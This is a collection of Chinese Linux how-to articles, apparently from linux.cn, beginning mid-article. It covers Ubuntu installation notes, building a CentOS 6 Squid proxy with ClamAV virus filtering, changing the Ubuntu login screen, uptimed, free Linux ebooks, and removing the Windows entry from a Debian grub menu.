  • 4G磁盘剩余空间

如果你的”老爷机”无法满足以上条件,那么可以选择以下几个轻量发行版:

  • Lubuntu
  • LMDE
  • Pubby linux
  • ArchBang

 

以下Ubuntu的三个优点和三个缺点:

优点:

  1. 它是现在众多linux发行版中最流行的一个,你可以找到很多关于它的论坛或者博客。
  2. 它属于“即装即用”型的系统,你不需要在Termianl下使用各种命令行来配置系统,很多操作都可以通过可视化的程序来完成。
  3. 网上有很多关于它的使用指南,你可以搜索到很多你在使用中遇到的问题的答案以供参考。

缺点:

  1. 它不是最稳定的Linux发行版。
  2. 它不是最轻量或者最快的Linux发行版。
  3. 你可能会被其他的Linux发行版用户“喷”,*^_^*

这是一篇译文,原文在这里http://installubuntu.info/to-do-before-install-ubuntu/

相关日志

来源:https://linux.cn/article-456-1.html

Linux:用 CentOS 6 快速配置一台企业级 Web 代理服务器

  Web代理服务器让企业员工可以快速安全地浏览网络。Web代理服务器可以缓存内存,让用户之后对相同网页的请求由本地缓存来处理,这比多次返回网 站来得更快速。代理服务器还能扫描入站网络流量,查找有无恶意内容,并且保护最终用户远离病毒;它们还可以控制哪些用户访问什么样的网络内容。为了充分利 用所有这些功能,本文逐步介绍安装和配置一台简单Web代理服务器(带病毒过滤功能)的整个过程。

  一个完美的安全Web代理服务器包括下列组件:

  • Squid——主要的软件和代理服务。
  • ClamAV——检查入站内容的反病毒软件。
  • C-icap——采用互联网内容适配协议(ICAP)的服务,Squid需要该服务与其他服务进行联系。
  • SquidClamav——基于ClamAV的反病毒服务,Squid通过ICAP服务连接到该服务。

安装配置

  我们将在基本的CentOS 6平台上运行代理服务器,该平台上没有预先安装任何软件包组。如果是最基本的安装,你可以使用来自官方镜像页面的最小镜像。一旦我们安装了操作系统,就可以安装代理服务器的各组件。

  镜像下载:http://www.centos.org/modules/tinycontent/index.php?id=30

Squid

  Squid可以从官方的CentOS 6软件库获得。只要执行yum install squid,即可安装它。确保Squid随系统自动开启和关闭,为此借助命令chkconfig squid on,把它添加到默认的系统启动和关闭级别。

  默认情况下,Squid的主配置文件/etc/squid/squid.conf允许通过常见端口的来自本地网站的请求。去掉cache_dir ufs /var/spool/squid 100 16 256这一行的注释,那样代理服务器将文件缓存在磁盘上。这个命令的参数指示代理服务器使用默认的ufs存储格式。缓存目录是/var/spool /squid,它应该可以存储最多100MB的内容,16个一级子目录和256个次级子目录。考虑将缓存大小从100MB增加到1000MB,因为 100MB太低了,满足不了如今的浏览需求。

  在同一个文件中,在默认配置信息后面,添加下列几个命令:

icap_enable on
icap_send_client_ip on
icap_send_client_username on
icap_client_username_encode off
icap_client_username_header X-Authenticated-User
icap_preview_enable on
icap_preview_size 2048
icap_service service_req reqmod_precache bypass=1 icap://127.0.0.1:1344/squidclamav
adaptation_access service_req allow all
icap_service service_resp respmod_precache bypass=1 icap://127.0.0.1:1344/squidclamav
adaptation_access service_resp allow all

  这个基本配置指示Squid使用在本地主机上运行的SquidClamav ICAP服务,本地主机使用TCP端口1344。对非缓存内容而言,需要使用这项服务。你可以从官方的Squid说明文档,找到关于所有配置命令的更多信息。

ClamAV

  ClamAV并不存在于默认的CentOS 6软件库中,所以你要么从源代码安装,要么使用第三方软件库。我建议使用EPEL软件库,因为它让用户易于安装和维护。

  要将EPEL软件库安装到CentOS 6上,请运行命令rpm -ivh http://download.fedoraproject.org/pub/epel/6/i386/epel-release- 6-5.noarch.rpm。之后,要安装ClamAV,请执行yum install clamav clamav-db clamd。由于这是从EPEL软件库首次安装,你会看到关于其密钥的提醒;确认密钥正确后才能继续下一步。

  执行chkconfig clamd on,确保ClamAV后台守护进程clamd自动启动和终止。

  你可以设置最基本的ClamAV配置,只需编辑文件/etc/clamd.conf。你得至少移除显示Example的那一行,那样该服务就能启 动。你可能还考虑更改一些命令的默认值。比如说,可以定义使用ScanPE、ScanELF和ScanPDF来扫描哪些文件扩展名。为了提升性能,可以将 待扫描文件的默认最大值(MaxFileSize)由25MB改成其他值,或者更改每个文件的多少数据有待扫描(MaxScanSize)——100MB 是默认值。值越大,所需的资源就越多,代理服务器的速度也就越慢。

  ClamAV病毒特征数据库由一个名为freshclam的独立程序来更新。其配置文件是/etc/freshclam.conf。为了使用它,你同样得至少移除文件开头部分显示Example的那一行。大多数设置不用管,保持默认值就可以了。

  如果你执行没有参数的freshclam,病毒特征更新一次,程序退出。你可以将freshclam配置成一项计划任务(cron job),定期检查ClamAV更新版,或者可以在后台守护模式下启用它,只需运行freshclam -d -c 2,其中-d指明了后台守护模式,-c 2指明了每天更新几次——这个例子中每天两次。把这个命令添加到/etc/rc.local文件中,就可以确保下一次服务器重启时,它会启用。

  在/etc/freshclam.conf中可能需要更改的一项值得关注的设置是SafeBrowsing,它在默认情况下被设置成关闭。这个设置 指定了你是不是想使用谷歌的Safe Browsing(安全浏览)数据库,该数据库里面含有一份更新后的列表,收录了已知的恶意网站。你应该启用它,对性能只有一点影响,除非贵企业的最终用 户在使用已经采用该数据库的浏览器,比如Mozilla Firefox和谷歌Chrome。你只要指定SafeBrowsing yes,就可以开启它。

C-icap

  C-icap并不存在于默认的软件库或EPEL中,所以你得从其网站的源代码安装,对其进行解压缩,然后完成标准的配置、编译和安装这个过程。

  由于C-icap是从源代码自定义安装,并不得到chkconfig的支持。因而,为了让C-icap服务器在系统启动时自动开启,就用新的一行,将其二进制可执行代码/usr/local/bin/c-icap添加到底部的/etc/rc.local。

  你可以找到默认情况下在/usr/local/etc/c-icap.conf的C-icap配置文件。大多数默认选项不用管它。指定 ServerLog /var/log/icapserver.log,将服务器的活动记录到文件/var/log/icapserver.log中;我们以后要用到服务器的 日志,确保一切都在正常运行。

  你在检查配置时,要注意ModulesDir和ServicesDir这两个命令。默认情况下,两者都指向/usr/local/lib/c_icap。这个目录是你安装ICAP服务和模块(如SquidClamav)的地方。

SquidClamav

  你得从源代码安装SquidClamav,原因与C-icap一样。一旦你从其SourceForge网页下载它,对其进行解压缩,然后完成标准的配置、编译和安装这个过程。

  为了确保SquidClamav正确安装,要检查目录/usr/local/lib/c_icap。你应该会看到两个文件:squidclamav.la(libtool 库文件)和squidclamav.so(模块本身)。

  SquidClamav并不作为一项独立的服务来运行,所以没必要把它添加到默认的运行级别来实现自动启动。相反,它是通过C-icap服务器来访问的。

  SquidClamav的配置文件位于/etc/squidclamav.conf。这里,默认配置的大部分选项直接可以拿来用。要更改的其中一个 选项是redirect。最终用户试图下载病毒时,他们会被重定向至你在这里指定的URL。创建详细描述的一个页面,否则你这个管理员会接到大量投诉,反 映下载的内容莫名其妙地无法运行。

  为了创建重定向页面,可以使用脚本cgi-bin/clwarn.cgi,你可以在SqidClamav的源代码归档文件中找到它。只要将它上传至网站,指定redirect example.org/cgi-bin/clwarn.cgi即可。

测试代理服务器

  至此,你的代理服务器应该已安装完毕、合理配置。为了确保所有服务自动开启,重启服务器,然后开始测试。

  你开始测试时,确保可以通过TCP端口3128这个默认代理端口,连接到服务器的IP地址。你必须在默认的CentOS 6防火墙中允许连接到这个端口,除非按基本CentOS 6安装中建议的那样禁用了防火墙。

  一旦你确保了可以连接到这个端口,对浏览器进行同样详细的配置:至于HTTP代理地址,就使用服务器的IP地址;至于端口,使用端口3128。然后 开始浏览网络,看看代理服务器与未使用代理的浏览相比结果怎样。不妨模拟一下许多用户通常浏览的场景。你可能会发现,随着更多的用户开始使用代理服务器, 服务器的资源必须随之增加。

  在服务器端,监控下列日志:

  • Squid的日志——默认情况下,它在文件/var/log/squid/access.log中。你会在那里看到哪些用户的IP地址在提出什么样的请求。
  • C-icap服务器的日志——与/usr/local/etc/c-icap.conf中通过ServerLog之前配置的那样,它应该在/var/log/icapserver.log中。

  对你的代理服务器来说最重要的测试就是,试着下载病毒,看看结果如何。网上有众多资源介绍如何创建含有已知病毒特征的测试文件。一旦创建了这样一个文件,把它上传至某个地方,试着使用新建的代理服务器,用浏览器来下载它。如果一切运行正常,在C-icap服务器的日志中应该会看到这样的条目:

Wed Feb 22 01:03:57 2012, general, DEBUG squidclamav_end_of_data_handler: received from Clamd: stream: Eicar-Test-Signature FOUND
Wed Feb 22 01:03:57 2012, general, DEBUG squidclamav_end_of_data_handler: Virus redirection: http://example.org/cgi-bin/clwarn.cgi?url=http://the_url_of_your_test_virus_file: Eicar-Test-Signature FOUND.

进一步的改进

  如果到目前为止你已经做好了本文介绍的各个步骤,应该有一个带病毒防护功能的基本代理服务器了。你可以在此基础上继续改进、添加更多的功能。下面是针对你添加额外组件来加强用户安全的几个建议:

  • 使用安全DNS。这种DNS不仅可以阻止扩散恶意软件的域耗用资源,还能阻止成人网站,如果进行了相应配置的话。一项广受欢迎的安全DNS服务是诺顿DNS
  • 使用URL过滤(重定向器)。URL过滤器可与分门类别的域列表协同运行,可以根据用户拥有的许可权限,允许或禁止访问网站。这类过滤器经常用于阻止员工访问与工作无关的网站。可与Squid协同运行的一种广受欢迎的过滤器是SquidGuard。它是免费开源的,可以与随处可见的黑名单结合使用。

  要是由于某个原因,这款开源代理解决方案无法完全满足你的需要,可以研究一下主要的几款商用产品,比如SmoothWall,以便最好地满足贵企业的需要。

原文:http://olex.openlogic.com/wazi/2012/a-fast-and-secure-web-proxy-for-corporate-users/

译文:http://os.51cto.com/art/201204/327327.htm

Linux:如何替换 Ubuntu 11.10 登录屏幕背景和logo

Unity Greeter 界面是 Ubuntu 11.10 的默认登录管理器。Unity Greeter 使用的是 LightDM 提供的一个很现代、漂亮的登录界面,它能够显示当前用户桌面。

Unity Greeter 的问题是只能使用 Canonical 提供的默认壁纸。不过我们现在可以用自己喜欢的图片来替换它。

第一步:安装 Simple LightDM Manager

不管你正在使用的是什么版本的 Ubuntu 操作系统,按下 ALT + F2 或者 CTRL+ALT+T 组合键打开一个终端(terminal),并输入下面的命令:

sudo apt-add-repository ppa:claudiocn/slm
sudo apt-get update && sudo apt-get install -y simple-lightdm-manager

点击查看原始大图

安装完毕后关闭终端窗口。

第二步:设置登录界面的壁纸

从 Unity Dash 中输入 Simple 可以搜索出新安装的 Simple LightDM Manager 应用程序,运行它。

点击查看原始大图

从运行的程序窗口选择你想要的背景图片作为默认登录背景,当然你同时可以设置登录的Logo,可以点击“Location”的文件夹按钮来查找图片进行设置。

点击“Apply changes”按钮来应用你的设置,它将会询问你的用户密码,输入密码后后点击确定。好了,你已经看到你的设置变化在你的桌面上了,你登录的时侯也会看到它。

点击查看原始大图

点击查看原始大图

原文:http://news.softpedia.com/news/How-To-Change-Login-Screen-Wallpaper-on-Ubuntu-11-10-261975.shtml

Linux:Linux 命令 “Uptimed” 记录 Linux 系统的 uptime

Uptimed 堪称 uptime 命令的守护程序版本,利用它你可以将 Linux 系统每次的 uptime 记录起来,并根据时间长短进行排名。

以下为在我的 Funtoo 上安装 Uptimed 后并执行 uprecords 的结果:

     #               Uptime | System                                     Boot up
----------------------------+---------------------------------------------------
     1    10 days, 04:46:13 | Linux 3.0.7-gentoo        Thu Mar 29 19:42:47 2012
->   2     0 days, 02:21:53 | Linux 3.0.7-gentoo        Mon Apr  9 20:11:30 2012
----------------------------+---------------------------------------------------
no1 in    10 days, 02:24:21 | at                        Fri Apr 20 00:57:42 2012
    up    10 days, 07:08:06 | since                     Thu Mar 29 19:42:47 2012
  down     0 days, 19:42:30 | since                     Thu Mar 29 19:42:47 2012
   %up               92.614 | since                     Thu Mar 29 19:42:47 2012

目前,我最好的成绩是 10 days,你的 Linux 有多少天呢?欢迎大家在评论中告诉我 🙂

来自:http://linuxtoy.org/archives/uptimed.html

Linux:10 本 Linux 免费电子书

谁不喜欢免费的东东呢?本文收集整理了一些Linux电子书(多数都有可下载的PDF格式),可用作为参考书,或学习材料。主题覆盖比较广,从Java高级编程、GNU、Emacs、设备驱动到内核等。无须付费,就可阅读这些内容丰富的电子书。

0. Advanced Linux programming | Linux高级编程

https://dn-linuxcn.qbox.me/data/attachment/album/201204/14/211807ieldjs1dlnem3qai.jpg

1. GNU Emacs manual | GNU Emacs 指南

https://dn-linuxcn.qbox.me/data/attachment/album/201204/14/211810bwta6qt2xxeeg443.png

2. GTK+/Gnome application development | GTK+/Gnome 应用开发(PDF)

https://dn-linuxcn.qbox.me/data/attachment/album/201204/14/211813j5b28ltjjtxtqqhq.jpg

3. Java application development on Linux | Linux 系统下的Java程序开发(PDF)

https://dn-linuxcn.qbox.me/data/attachment/album/201204/14/211815orc6rs8mtulbn0ec.jpg

4. Linux device drivers | Linux 设备驱动

https://dn-linuxcn.qbox.me/data/attachment/album/201204/14/211818xynrfonn8728kklw.gif

5. Linux kernel in a nutshell

https://dn-linuxcn.qbox.me/data/attachment/album/201204/14/211820qllrljlvij4kzltn.jpg

Linux:Debian编辑grub删除Windows的引导

在Debian中,没有menu.lst文件,取而代之的是grub.cfg文件,那么打开grub.cfg文件,我贴个我的文件内容:

#
# DO NOT EDIT THIS FILE
#
# It is automatically generated by grub-mkconfig using templates
# from /etc/grub.d and settings from /etc/default/grub
#
### BEGIN /etc/grub.d/00_header ###
if [ -s $prefix/grubenv ]; then
  load_env
fi
set default="0"
if [ "${prev_saved_entry}" ]; then
  set saved_entry="${prev_saved_entry}"
  save_env saved_entry
  set prev_saved_entry=
  save_env prev_saved_entry
  set boot_once=true
fi
function savedefault {
  if [ -z "${boot_once}" ]; then
    saved_entry="${chosen}"
    save_env saved_entry
  fi
}
function load_video {
  insmod vbe
  insmod vga
  insmod video_bochs
  insmod video_cirrus
}
insmod part_msdos
insmod ext2
set root='(hd0,msdos7)'
search --no-floppy --fs-uuid --set 37d5f764-cffc-47f6-bbb7-4a22ff86ddaf
if loadfont /usr/share/grub/unicode.pf2 ; then
  set gfxmode=640x480
  load_video
  insmod gfxterm
fi
terminal_output gfxterm
insmod part_msdos
insmod ext2
set root='(hd0,msdos7)'
search --no-floppy --fs-uuid --set 37d5f764-cffc-47f6-bbb7-4a22ff86ddaf
set locale_dir=($root)/boot/grub/locale
set lang=zh
insmod gettext
set timeout=5
### END /etc/grub.d/00_header ###
### BEGIN /etc/grub.d/05_debian_theme ###
insmod part_msdos
insmod ext2
set root='(hd0,msdos7)'
search --no-floppy --fs-uuid --set 37d5f764-cffc-47f6-bbb7-4a22ff86ddaf
insmod png
if background_image /usr/share/images/desktop-base/spacefun-grub.png; then
  set color_normal=light-gray/black
  set color_highlight=white/black
else
  set menu_color_normal=cyan/blue
  set menu_color_highlight=white/blue
fi
### END /etc/grub.d/05_debian_theme ###
### BEGIN /etc/grub.d/10_linux ###
menuentry 'Debian GNU/Linux, with Linux 2.6.32-5-amd64' --class debian --class gnu-linux --class gnu --class os {
	insmod part_msdos
	insmod ext2
	set root='(hd0,msdos7)'
	search --no-floppy --fs-uuid --set 37d5f764-cffc-47f6-bbb7-4a22ff86ddaf
	echo	'Loading Linux 2.6.32-5-amd64 ...'
	linux	/boot/vmlinuz-2.6.32-5-amd64 root=UUID=37d5f764-cffc-47f6-bbb7-4a22ff86ddaf ro  quiet
	echo	'Loading initial ramdisk ...'
	initrd	/boot/initrd.img-2.6.32-5-amd64
}
menuentry 'Debian GNU/Linux, with Linux 2.6.32-5-amd64 (recovery mode)' --class debian --class gnu-linux --class gnu --class os {
	insmod part_msdos
	insmod ext2
	set root='(hd0,msdos7)'
	search --no-floppy --fs-uuid --set 37d5f764-cffc-47f6-bbb7-4a22ff86ddaf
	echo	'Loading Linux 2.6.32-5-amd64 ...'
	linux	/boot/vmlinuz-2.6.32-5-amd64 root=UUID=37d5f764-cffc-47f6-bbb7-4a22ff86ddaf ro single
	echo	'Loading initial ramdisk ...'
	initrd	/boot/initrd.img-2.6.32-5-amd64
}
### END /etc/grub.d/10_linux ###
### BEGIN /etc/grub.d/20_linux_xen ###
### END /etc/grub.d/20_linux_xen ###
### BEGIN /etc/grub.d/30_os-prober ###
menuentry "Windows 7 (loader) (on /dev/sda1)" {
	insmod part_msdos
	insmod ntfs
	set root='(hd0,msdos1)'
	search --no-floppy --fs-uuid --set ee1cfa2f1cf9f287
	chainloader +1
}
### END /etc/grub.d/30_os-prober ###
### BEGIN /etc/grub.d/40_custom ###
# This file provides an easy way to add custom menu entries.  Simply type the
# menu entries you want to add after this comment.  Be careful not to change
# the 'exec tail' line above.
### END /etc/grub.d/40_custom ###
### BEGIN /etc/grub.d/41_custom ###
if [ -f  $prefix/custom.cfg ]; then
  source $prefix/custom.cfg;
fi
### END /etc/grub.d/41_custom ###

 

现在删除下图内容

### BEGIN /etc/grub.d/30_os-prober ###
menuentry "Windows 7 (loader) (on /dev/sda1)" {
	insmod part_msdos
	insmod ntfs
	set root='(hd0,msdos1)'
	search --no-floppy --fs-uuid --set ee1cfa2f1cf9f287
	chainloader +1
}
### END /etc/grub.d/30_os-prober ###

保存之后关闭计算机,拔掉电源,等候一分钟后加电开机就看到grub中没有Windows的引导了。

 

这是我自己摸索的,大牛们有高见和指教请回帖描述,越详细越好。

 

摸索的过程很艰难,大家要注意的是修改了之后使用重启是看不到效果的,必须关机,断电,然后在开机。我不知道为什么,希望有大牛能回帖讲解给我们这些新人小号。

 

备注:文件具体在哪里?使用什么修改我这里就不说了,网上一查到处都是。

          我的Debian版本是6.0.0

来源:https://linux.cn/article-502-1.html

Linux:5 款优秀的 Linux 文件管理器替代

  重新发明轮子经常被引为开源软件开发中的一大阻碍。批评者指出,如果开发者在项目上团结合作,而不是重复已存在的项目,这将有助于简化用户选择,并 能大大推进现有开源项目的开发。确实开发的时间浪费了,不难举出重造轮子的事例。然而,Linux的优势之一就是有足够多的选择,有很大机会找到满足个人 需要的优秀软件。从数以百计的开源文本编辑器、文件管理器、集成开发环境、备份工具、数据库,网络浏览器和FTP客户端中,你有很大的可能性发现你真心需 要的软件。Linux有许多成熟的文件管理器,但还有一些管理器虽然鲜为人知,Linux Links 的这篇文章介绍了五款免费而独具特色的 linux 文件管理器给大家使用。